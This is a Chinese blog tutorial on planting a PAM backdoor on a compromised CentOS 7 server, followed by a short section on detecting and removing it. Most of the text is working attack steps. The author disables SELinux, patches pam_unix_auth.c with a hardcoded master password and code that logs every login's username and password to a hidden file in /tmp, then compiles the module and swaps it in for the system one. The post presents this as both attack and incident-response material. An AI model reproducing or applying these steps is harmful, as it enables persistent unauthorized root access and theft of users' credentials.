LINUX留后门--教程(六)—— PAM后门

一、本教程作用

1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防

二、PAM后门-教程

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.160.144 (centos7)
攻击IP: 192.168.160.1 (win10 xhell)

2.1 pam介绍

在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。(借用大佬的介绍不写了。)

2.2 植入 PAM 后门

第一步:
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

setenforce 0

在这里插入图片描述
在这里插入图片描述
第二步:查看 pam 版本号

发现是 1.1.8 版本

rpm -qa|grep pam

在这里插入图片描述
第三步:下载对应版本的 pam 源码包

pam下载地址:http://www.linux-pam.org/library/
选择 pam1.1.8

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

在这里插入图片描述
解压 PAM tar包

tar -zxvf Linux-PAM-1.1.8

在这里插入图片描述
第四步:安装gcc编译器和flex库

yum install gcc flex flex-devel -y

在这里插入图片描述
第五步:留 PAM 后门和保存 ssh登录的账户密码

修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码

if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
        if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");    
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);}

在这里插入图片描述
第六步:编译

cd ..
cd ..
./configure

在这里插入图片描述

make

在这里插入图片描述
第七步:备份原有的 pam_unix.so
防止出现错误 ssh 登录不上了

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

在这里插入图片描述
第八步:复制新 PAM 模块到 /lib64/security/ 目录下:

cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

在这里插入图片描述
第九步:登录测试

本地登录测试

ssh root@127.0.0.1

在这里插入图片描述
远程登录测试
在这里插入图片描述
查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存

ls -a
cat .sshlog

在这里插入图片描述

三、PAM 后门——应急响应发现

第一步:查看可以连接

natstat -anpt

在这里插入图片描述

第二步:检查pam_unix.so的修改时间

因为 pam 后门是替换文件,所以查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)

stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

如图所示,时间就是最近的时间,有问题。
在这里插入图片描述
第三步:清除 pam 后门

yum reinstall pam

在这里插入图片描述
再次 xhell 连接,提示登录不成功,后门被清除
在这里插入图片描述
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值